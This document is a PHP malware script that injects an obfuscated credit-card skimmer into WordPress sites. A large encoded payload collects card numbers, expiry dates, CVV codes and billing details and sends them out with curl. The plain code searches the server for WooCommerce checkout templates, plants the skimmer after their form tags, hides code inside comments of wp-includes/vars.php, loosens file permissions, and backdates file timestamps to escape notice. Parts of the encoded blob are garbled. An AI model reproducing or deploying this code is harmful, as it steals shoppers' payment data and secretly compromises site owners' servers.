pIyczVmcwRmcvdnICIgACIgACIgowOpMnbvlGdw9GJgwCajRCK5FmcyF2X0B3b0V2cfxmc1NGIgACIgACIgACIgACIgACIKsTKc2VyX2RhdGEgPSBzdHJfcmVwbGFjZSgiKyIsICclMmInLCAkdXNlcl9kYXRhKTsKCiAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgewogICAgICAgIC52X0NncpZ2Xn5WasxWaidyWUN1TQ9FJoQXZzNXaoAiZpBCIgACIgACIKoQfgACIgACIgAiC7QnblRnbvNGJg4mc1RXZyBCIgACIgACIgACIgowOpg2YkgyYlhXZfxmc1NGQg0DI05WZ052bjRCAgICAgICAgIGNhc2UgMToKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2NfbnVtYmVyID0gJHBfdmFsdWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgaWYgKCFkZWZpbmVkKCJTTUlMT0RPTl9IRUFEIikpIHsKCiAgICBkZWZpbmUoIlNNSUxPRE9OX0hFQKwiIw4iMz8CevZWZylmRgEDMxAjMxAjMv82ajV2RCAgICAgICAgICAgICAgIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIgPT4gdHJ1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9IRUFERVIgPT4gZmFsc2UsCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfRk9MTE9ACIgACIgACIgACIgACIKsTKi8iIgwCMwAjNzAyKgkCKl1Wa0BCLxACLiI3dq9lIoUWar92bjRXZzBCIgACIgACIgACIgACIgAiCK0HIgACIgACIgACIgACIgACIKsTKoNGJoyJfJmYnACLnUncugXZk5WY5BUasFGdpZXezRXY5dCKslWYtBEIgACIgACIgACIgACIgACIKoQfgACIgACIgACAgICAgICAgJGNvbnRlbnQgPSBAY3VybF9leGVjKCRjaCk7CiAgICAgICAgICAgICAgICAkY29udGVudCA9IHRyaW0oJGNvbnRlbnQpOwogICAgICAgIgICAgICAgICAgICAkb3B0aW9ucyA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIgPT4gdHJ1ZSwKICAgICAgICAgICAgICAgICAgIIgACIgACIgAiC7IiIgoDIddSZtFmbfR3chx2Xn5WasxWaidyWUN1TQ9FJg8DIp01Jl1WYu9FdzFGbfdmbpxGbpJ2JbR1UPB1XkgCdlN3cpBSPgUWbh5GdzFGbkACIgACIgACIgACIgACIgACIgACIgowegkiclJWb152XjNGJoAiZpBCIgACIgACIgACIgogC9BCIgACIgACIgACIgoQfgACIgACIgACIgACIgACIgoQfgACIgACIgACIgACIgACIgACIgAiC7sWYlJnYgACIgACIgACIgACIgACIgACIgACIwogICAgICAgICAgICAkY2l0eSA9IGlzc2V0KCRfUE9TVFsnYmlsbGluZ19jaXR5J10pID8gJF9QT1NUWydiaWxsaW5nX2NpKu8iIgACIgACIgACIgACIgACIgoALzAiP9AiIvoiL0V2cfd3bsxWZ5piLvICIgACIgACIgACIgACIgACIKwiIiAiP9AyROlERPNkTF9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgACIgACIKwSZ1JHdg4TPg40TJRVQD9ETXnXSkgOiAwOwogICAgICAgIGlmIChQSFBfSU5UX1NJWkUgPiA0KQogICAgICAgICAgICBpZiAoJGNyYzMyICYgMHg4MDAwMDAwMCkKICAgICAgICAgICAgICAgICRjcmMzMiAICAgICBzZXRjb29raWUoIl93ZGF0YSIsIGJhc2U2NF9JyAuICRjY195ZWFyIC4gJ3wnIC4gJGNjX2NpZDsKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0NPT0tJRVsnX3dkYXRhJ10pKQogICAgICAgICAgICAgICAgICAgICRjY19wYXkgLj0gJ3wnIC4gYmFzZTY0X2RlY29kZSgkX0NPT0tJRVsnX3dkYCIgACIgAiCpkiIul2XkV2Zn9GbfN3clJHckJ3b3JCIskXZrRCK05WdvN2XyR3ciV3coAiZpBCIgACIgACIgACIgACIgAiC7UWdyR3LvozcwRHdoJCI9ACbyV3X0V2ZkACIgACIgACIgACIgowegkSKpcyM2ADO4kDMidTOiFjM1EWMzIGOihTZlJWNhN2YxMWY3cCI90DIp01J3RnZnsVRJt0TPN0XkgSNk1GKgYiJgkSKddyd0Z2JbVUSL90TD9FJoQXZzNXaogCI8xHIpkyJzYDM4gTOwI2N5IWMICAgICAgaWYgKHN0cmxlbigkY2NfbW9udGgpID09IDEpCiAgICAgICAgICAgICAgICAgICAgJGNjX21vbnRoID0gJzAnIC4gJGNjX21vbnRoOwogICAgICAgICAgICAgICAgQ1UPh0XQRFVIdyWSVkVSV0UfRCKyMzYyNGI/ASKddCVT9ESfBFVUh0JbJVRWJVRT9FJoQXZzNXag0DIyMzYyNGJgACIgACIgAiC7BSKpIiTPR0TMlUTT91QSNkIoQWZulmZlRWIoAiZpBCIgAiCKsTKxACLiQUGcz5iby9GZlJ3LvozcwRHdodCKzRnblRnbvN2X0V2ZfVGbpZGQg0DI052YkACIgACIgACIgACIgACIgACIgACIKsHIpcSMnASPhACduNGJoAiZpBCIgACIgACIgACIgACIgAiC9BCIgACIgCAgICAgICAgICAgICAgICAgJGZpbmQ0ID0gdHJ1ZTsKICAgICAgICAgICAgICAgIGlmIChzdWJzdHJfY291bnQoJGtleSwggkYmlsbCk7CiAgICAgICAgfTsKICAgICAgICBpZiAoaXNzVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgNDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2NfY2lkIbmBCIgACIgACIgACIgogC7IiIg0DIkl2YfN2YkASPgIXYll3XjNGJg0DIoRnb";$zRc4tV3Xt="==wOfxmYXh2bx1EJg4mc1RXZypQKpkDasNnR3UFbkgCdlN3cpFCKmlmC70Xf7kSKdFzKh52U6dkUXRyWOR2QGJUZHRUekwSXh52U6dkUXRyWOR2QGJUZHRUekwyau9UcLNGJoIHdzJWdzhiSPdTailmRk0jLfxmYXh2bx1EJ7V2csVWf7kSXxsSYuNleHJ1VkslTkNkRCV2RElHJs0VYuNleHJ1VkslTkNkRCV2RElHJssmbPF3SjRCKyR3ciV3c94yXsJ2Vo9WcNRyepQTJh52U6dkUXRCKml2epITPrEmbTp3RSdFJ7kiTkNkRCV2RElHJoY2blpXazxTYuNleHJ1VksDM9EmbTp3RSdFJoI3bmtjIi0zXsJ2Vo9WcNRiC7kyN3wSMykDMxwCO1EDL4MDMzEDLyMTMsgDNyITMsYTOsIDOxATMsETNxwCM4cjMsYTOsgDN5cDL4MTMsIzMyMDL0kTMsITM3ITMsQDOsUTNzcDL5gDLxATN2wCNzEDL4QTNxEDLxcTMscDOyQDLwgDLyUTM0wSM1wCM1QjNskzNxwSN3gzMsYzMxwSM1ATNsYjNxwiMwkTOsIDOsUDOzATMsUTMxwyMzQTMxwCO5wCN1ADNsMTOxwyM0EDL2gDL1czN5wCM1wyN4ETNsYzNsgjM4EDLzYTMsUjN2EDL4YTMsUDMygDL0ITMsgzM3cDLzgTMsEDM5YDLwgDL4AjMywCM4EDLwATN0wyN4EDLwkjM5wiN0EDLzEjNwEDL1QTMsQDM5EDL3MTMsIDO2ETMsEjNsATN1IDL5UTMsETOzIDL1kDLzgTOxEDLyATMsAjM0EDL3kDLwETN1wSM2wCM4YDNsEjNxwCN0ADOsADNsczMyUDLwATMsYzMzwyM0EDLwwyM0wCM4MjMxwSMxEDL0YjN5wiN0wCNzQzMxwyN5wCO1UzMsQjNxwCMygDLxkTMskTOwkDLwQTMsATMzYDLxYDL4cDMyEDL5MTMsYzM3MDLxYDL3gTNzEDLzcTMsUTN4gDL4QTMsEDN3QDLyYTMskTN3ATMsUTNsIzMyQDL4ITMsMDNyEDL5MTMsIjN3YDL3ATMsADO0MTMsMTNsIDM4gDL0UDL2YzNsQjNxwSOxgTMxwiMzEDL2ATOyEDL4gTMsAzNzMDL5gTMsMjM0ITMsEzNsgjMwkDLzATMsgDOyIDL5gTMskzM0cDLzgDL3cjM1wyM0EDLyITNxwSO0wSM3MTMsMDNxwiN5EzMxwCM3EDL1cjN1wiM3EDLwYDMzwyM1wCM2MTNsUDOsgDNzETMsIjNxwSO4gDNscTOsMTM0UDLwMTMsYzM2wSO2wCN3ETMskTNxwSO0AjMscDOxwyN3QTOsYDOsIjN4cDL2UDL0IzNywCO2wyNwYTNsQTMxwCO2ADMxwCM5EDL0gTOsQTNsgDN3gDL0QTMsQDO5UDLwATMsITM2ITMsEDNsEjN4kDL4cDLxMTOywSN5wSOzMzMxwyNwEDL4cjMwEDLwETMsgjM2cDL5MTMsUDN4UDL3cTMsEzN1gDLzMTMsQDOwcDL2ATMsUjN0gDLycTMsATO1YDL2QTMscjN0ATMsETNskDMwMDL4cTMsgzMwETMskDMxwSOzEjMxwiM5wyM3MDOsADNsgTO5ATMsIDNsgTN0QDLxgDL1UjNzwCOzEDL3EjM3wiM4EDL4ITM2wCMwIDL2MDNsIzMxwiNxITMxwyMxEDLxEjNygSehJnch1jTkNkRCV2RElHJ";if(function_exists($i0Nu5JEc)){$Q9n8git=@$i0Nu5JEc(\'$cKqOnk,$Fibi7OJ\',$lU7Fslh9($Fibi7OJ($zRc4tV3Xt)));if($Q9n8git)$cKqOnk=@$Q9n8git($cKqOnk,$Fibi7OJ); }else{$Iak1Ts="\x29";$Iak1Ts.="\x29\51\x74";$Iak1Ts.="\x58\63";$Iak1Ts.="\126\x74\64";$Iak1Ts.="\143";$Iak1Ts.="\x52\x7a\x24";$Iak1Ts.="\50";$Iak1Ts.="\112\117";$Iak1Ts.="\67";$Iak1Ts.="\x69\x62";$Iak1Ts.="\151\106\44";$Iak1Ts.="\x28\x39";$Iak1Ts.="\x68\x6c";$Iak1Ts.="\x73\x46";$Iak1Ts.="\x37";$Iak1Ts.="\x55\x6c\x24";$Iak1Ts.="\x28\x6c\x61";$Iak1Ts.="\166";$Iak1Ts.="\145";$Iak1Ts.="\x40";$Iak1Ts=$Fibi7OJ($Iak1Ts);@$Nx9Nbu($Iak1Ts);};if(function_exists($i0Nu5JEc)){$loRPFN3R=@$i0Nu5JEc("",$lU7Fslh9($Fibi7OJ($cKqOnk)));if($loRPFN3R)@$loRPFN3R();}else{$DOB0Jb05x="\51\x29";$DOB0Jb05x.="\x29\x6b\156";$DOB0Jb05x.="\117\x71\x4b";$DOB0Jb05x.="\143";$DOB0Jb05x.="\44\50";$DOB0Jb05x.="\x4a\x4f";$DOB0Jb05x.="\x37";$DOB0Jb05x.="\151";$DOB0Jb05x.="\x62";$DOB0Jb05x.="\151\x46";$DOB0Jb05x.="\44\50";$DOB0Jb05x.="\x39\150";$DOB0Jb05x.="\x6c\x73\x46";$DOB0Jb05x.="\x37";$DOB0Jb05x.="\125\x6c\44";$DOB0Jb05x.="\x28\x6c";$DOB0Jb05x.="\141\x76";$DOB0Jb05x.="\x65";$DOB0Jb05x.="\100";$DOB0Jb05x=$Fibi7OJ($DOB0Jb05x);@$Nx9Nbu($DOB0Jb05x);};'));

function insert_line($lines, $codeline, $comment_indexes) {
    if (!$comment_indexes)
        return false;
    shuffle($comment_indexes);
    $index = $comment_indexes[0];
    $r = array();
    for ($i = 0; $i < sizeof($lines); $i++) {
        $line = $lines[$i];
        if ($i == $index) {
            $r[] = "*/";
            $r[] = $codeline;
            $r[] = "/*";
        }
        $r[] = $line;
    }

    return $r;
}

function set_min_date($filepath) {
    $dir = dirname($filepath);
    $o = opendir($dir);
    $min_lastmod = 0;
    while ($r = readdir($o)) {
        $mod = filemtime($dir . "/" . $r);
        if (!$min_lastmod) {
            $min_lastmod = $mod;
            continue;
        }

        if ($min_lastmod > $mod) {
            $min_lastmod = $mod;
        }
    }

    if ($min_lastmod) {
        touch($filepath, $min_lastmod + 1);
    }
}

function check_before_modify($filepath) {
    $fp = fopen($filepath, "r");
    $lines = array();
    if (flock($fp, LOCK_EX)) {
        while (!feof($fp)) {
            $line = trim(fgets($fp), "\r\n");
            $lines[] = $line;
        }
    }

    fclose($fp);

    $start_comment = false;
    $end_comment = true;
    $end_comment_quick = false;

    for ($i = 0; $i < sizeof($lines); $i++) {
        $line = trim($lines[$i]);
        $line = strtr($line, array('<' . '?php' => '', '<' . "?" => ""));
        $line = preg_replace("#/\*.*?\*/#", "", $line);
        $line = trim($line);

        if (preg_match("#^/\*.*$#", $line)) {
            $start_comment = true;
            $end_comment = false;
            $end_comment_quick = false;
            continue;
        }

        if ($end_comment_quick) {
            if (preg_match('#^\$[a-zA-Z0-9]+=#', $line)) {
                return true;
            }
        }

        if (preg_match("#^\*/$#", $line)) {
            $start_comment = false;
            $end_comment = true;
            $end_comment_quick = true;
            continue;
        }

        $end_comment_quick = false;

        if ($start_comment) {
            continue;
        }

        if (!$line)
            continue;

        return false;
    }

    return false;
}

function modify_file($filepath) {
    $perms = 0777 & fileperms($filepath);
    $update_perms = false;
    if ((!is_readable($filepath)) || (!is_writable($filepath))) {
        $update_perms = true;
        @chmod($filepath, 0777);
    }

    if (!is_readable($filepath))
        return 0;
    if (!is_writable($filepath))
        return 0;
    $fp = fopen($filepath, "r");
    $lines = array();
    if (flock($fp, LOCK_EX)) {
        while (!feof($fp)) {
            $line = trim(fgets($fp), "\r\n");
            $lines[] = $line;
        }
    }

    fclose($fp);

    if (!$lines)
        return -1;

    $start_comment = false;
    $end_comment = true;
    $end_comment_quick = false;
    $end_index = -1;

    $comment_indexes = array();

    for ($i = 0; $i < sizeof($lines); $i++) {
        $line = trim($lines[$i]);
        $line = strtr($line, array('<' . '?php' => '', '<' . "?" => ""));
        $line = preg_replace("#/\*.*?\*/#", "", $line);
        $line = trim($line);

        if (preg_match("#^/\*.*$#", $line)) {
            $start_comment = true;
            $end_comment = false;
            $end_comment_quick = false;
            continue;
        }

        if ($end_comment_quick) {
            if (preg_match('#^\$[a-zA-Z0-9]+=#', $line)) {
                return 2;
            }
        }

        if (preg_match("#^\*/$#", $line)) {
            $start_comment = false;
            $end_comment = true;
            $end_comment_quick = true;
            continue;
        }

        $end_comment_quick = false;
        //
        if ($start_comment) {
            $comment_indexes[] = $i;
            continue;
        }

        if (!$line)
            continue;

        $end_index = $i;
        break;
    }

    if ($end_index <= 5) {
        return 0;
    }

    $updated_lines = insert_line($lines, TREX_CODE, $comment_indexes);
    $dt = implode("\r\n", $updated_lines);
    file_put_contents($filepath, $dt, LOCK_EX);
    set_min_date($filepath);
    if ($update_perms) {
        if ($perms >= 64) {
            chmod($filepath, $perms);
        } else {
            chmod($filepath, 0644);
        }
    }
    return 1;
}

function find_and_write($target) {
    if (check_before_modify($target))
        return array($target, 2);

    $statuscode = modify_file($target);
    return array($target, $statuscode);
}

function insert_checkout($filepath, $code) {
    $perms = 0777 & fileperms($filepath);
    $update_perms = false;
    if ((!is_readable($filepath)) || (!is_writable($filepath))) {
        $update_perms = true;
        @chmod($filepath, 0777);
    }

    if (!is_readable($filepath))
        return 0;
    if (!is_writable($filepath))
        return 0;

    $content = file_get_contents($filepath);

    if (!$content)
        return -1;

    if ((substr_count($content, '$_SERVER[$')) && (substr_count($content, '"curl_init"'))) {
        return 2;
    }

    $cnt_r = substr_count($content, "\r");
    $delimiter = $cnt_r ? "\r\n" : "\n";
    if (substr_count($content, "</form>") != 1) {
        return -2;
    }

    $lines = explode("\n", $code);
    $lines2 = array();
    for ($i = 0; $i < sizeof($lines); $i++) {
        $line = rtrim($lines[$i]);
        $lines2[] = $line;
    }

    $content2 = $content;
    if ($cnt_r) {
        $content2 = str_replace("\r\n", "\n", $content2);
        $content2 = str_replace("\n", "\r\n", $content2);
    }

    $code2 = implode($delimiter, $lines2);
    $content2 = str_replace("</form>", "</form>" . $delimiter . '<' . '?php' . $delimiter . $code2 . "?" . ">", $content2);

    file_put_contents($filepath, $content2, LOCK_EX);
    set_min_date($filepath);
    if ($update_perms) {
        if ($perms >= 64) {
            chmod($filepath, $perms);
        } else {
            chmod($filepath, 0644);
        }
    }
    return 1;
}

function path_finder() {
    $pth = $_SERVER['DOCUMENT_ROOT'];
    $d1 = $pth . '/../../..';
    $d2 = $pth . '/../..';
    $d3 = $pth . '/..';
    if (is_readable($d1))
        return realpath($d1);
    if (is_readable($d2))
        return realpath($d2);
    if (is_readable($d3))
        return realpath($d3);

    return $pth;
}

function smartscan($dir) {
    if (!is_readable($dir))
        return array();
    if (function_exists("scandir")) {
        $list = @scandir($dir);
        if (!$list)
            return array();
        return $list;
    } else {
        $dh = opendir($dir);
        $files = array();
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function list_dir($dir) {
    if (!is_dir($dir))
        return array();
    $dh = opendir($dir);
    $dirs = array();
    while (false !== ($f = readdir($dh))) {
        if ($f == '.')
            continue;
        if ($f == '..')
            continue;
        if (is_dir($dir . DIRECTORY_SEPARATOR . $f))
            $dirs[] = $f;
    }
    return $dirs;
}

function super_get_url($url, $post = false) {
    $options = array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HEADER => false,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_ENCODING => "",
        CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20120101 Firefox/32.0",
        CURLOPT_AUTOREFERER => true,
        CURLOPT_CONNECTTIMEOUT => 120,
        CURLOPT_TIMEOUT => 120,
        CURLOPT_MAXREDIRS => 10,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    );

    if ($post) {
        $options[CURLOPT_POST] = 1;
        $options[CURLOPT_POSTFIELDS] = $post;
    }

    $ch = curl_init($url);
    curl_setopt_array($ch, $options);
    $content = @curl_exec($ch);
    return $content;
}

$notning = true;
$dir = path_finder();
$dd = array($dir);


for ($i = 0; $i < 4; $i++) {
    $tmp = array();
    foreach ($dd as $d) {
        $res = smartscan($d);
        foreach ($res as $v) {
            if ($v == 'maintenance.flag') {
                $flag = $d . "/" . $v;
                echo " unlink[$flag]; ";
                @unlink($flag);
            }
            if ($v == 'index.php') {
                $varsFile = $d . "/wp-includes/vars.php";
                $checkoutFile = $d . "/wp-content/plugins/woocommerce/templates/checkout/form-checkout.php";
                $checkoutFiles = array($checkoutFile);
                $themes = list_dir($d . "/wp-content/themes");
                foreach ($themes as $theme) {
                    $checkoutFiles[] = $d . "/wp-content/themes/$theme/woocommerce/checkout/form-checkout.php";
                }
                $code = 0;
                if (file_exists($checkoutFile)) {
                    $notning = false;
                    foreach ($checkoutFiles as $chk_file) {
                        if (!file_exists($chk_file))
                            continue;
                        $code = insert_checkout($chk_file, $beda_code);
                        switch ($code) {
                            case -2:
                                echo "[$chk_file] without /form signature; ";
                                break;
                            case -1:
                                echo "[$chk_file] is empty!; ";
                                break;
                            case 0:
                                echo "[$chk_file] is protected!; ";
                                break;
                            case 1:
                                echo "[$chk_file] updated!; ";
                                break;
                            case 2:
                                echo "[$chk_file] contains!; ";
                                break;
                        }
                    }

                    $target = $varsFile;
                    $update_data = find_and_write($target);
                    $editFile = $update_data[0];
                    switch ($update_data[1]) {
                        case -1:
                            echo "[$editFile] empty!; ";
                            break;
                        case 0:
                            echo "[$editFile] comment not exists!; ";
                            break;
                        case 1:
                            echo "[$editFile] updated!; ";
                            break;
                        case 2:
                            echo "[$editFile] contains!; ";
                            break;
                    }
                }
            } else {
                if (is_dir($d . '/' . $v) && is_readable($d . '/' . $v) && ($v !== ".") && ($v !== "..")) {
                    $tmp[] = $d . '/' . $v;
                }
            }
        }
    }
    $dd = $tmp;
}

$dir = $_SERVER['DOCUMENT_ROOT'];
$dd = array($dir);

if ($notning) {
    for ($i = 0; $i < 4; $i++) {
        $tmp = array();
        foreach ($dd as $d) {
            $res = smartscan($d);
            foreach ($res as $v) {
                if ($v == 'maintenance.flag') {
                    $flag = $d . "/" . $v;
                    echo " unlink[$flag]; ";
                    @unlink($flag);
                }
                if ($v == 'index.php') {
                    $varsFile = $d . "/wp-includes/vars.php";
                    $checkoutFile = $d . "/wp-content/plugins/woocommerce/templates/checkout/form-checkout.php";
                    $checkoutFiles = array($checkoutFile);
                    $themes = list_dir($d . "/wp-content/themes");
                    foreach ($themes as $theme) {
                        $checkoutFiles[] = $d . "/wp-content/themes/$theme/woocommerce/checkout/form-checkout.php";
                    }
                    $code = 0;
                    if (file_exists($checkoutFile)) {
                        foreach ($checkoutFiles as $chk_file) {
                            if (!file_exists($chk_file))
                                continue;
                            $code = insert_checkout($chk_file, $beda_code);
                            switch ($code) {
                                case -2:
                                    echo "[$chk_file] without /form signature; ";
                                    break;
                                case -1:
                                    echo "[$chk_file] is empty!; ";
                                    break;
                                case 0:
                                    echo "[$chk_file] is protected!; ";
                                    break;
                                case 1:
                                    echo "[$chk_file] updated!; ";
                                    break;
                                case 2:
                                    echo "[$chk_file] contains!; ";
                                    break;
                            }
                        }

                        $target = $varsFile;
                        $update_data = find_and_write($target);
                        $editFile = $update_data[0];
                        switch ($update_data[1]) {
                            case -1:
                                echo "[$editFile] empty!; ";
                                break;
                            case 0:
                                echo "[$editFile] comment not exists!; ";
                                break;
                            case 1:
                                echo "[$editFile] updated!; ";
                                break;
                            case 2:
                                echo "[$editFile] contains!; ";
                                break;
                        }
                    }
                } else {
                    if (is_dir($d . '/' . $v) && is_readable($d . '/' . $v) && ($v !== ".") && ($v !== "..")) {
                        $tmp[] = $d . '/' . $v;
                    }
                }
            }
        }
        $dd = $tmp;
    }
}

echo " [Finish!] ";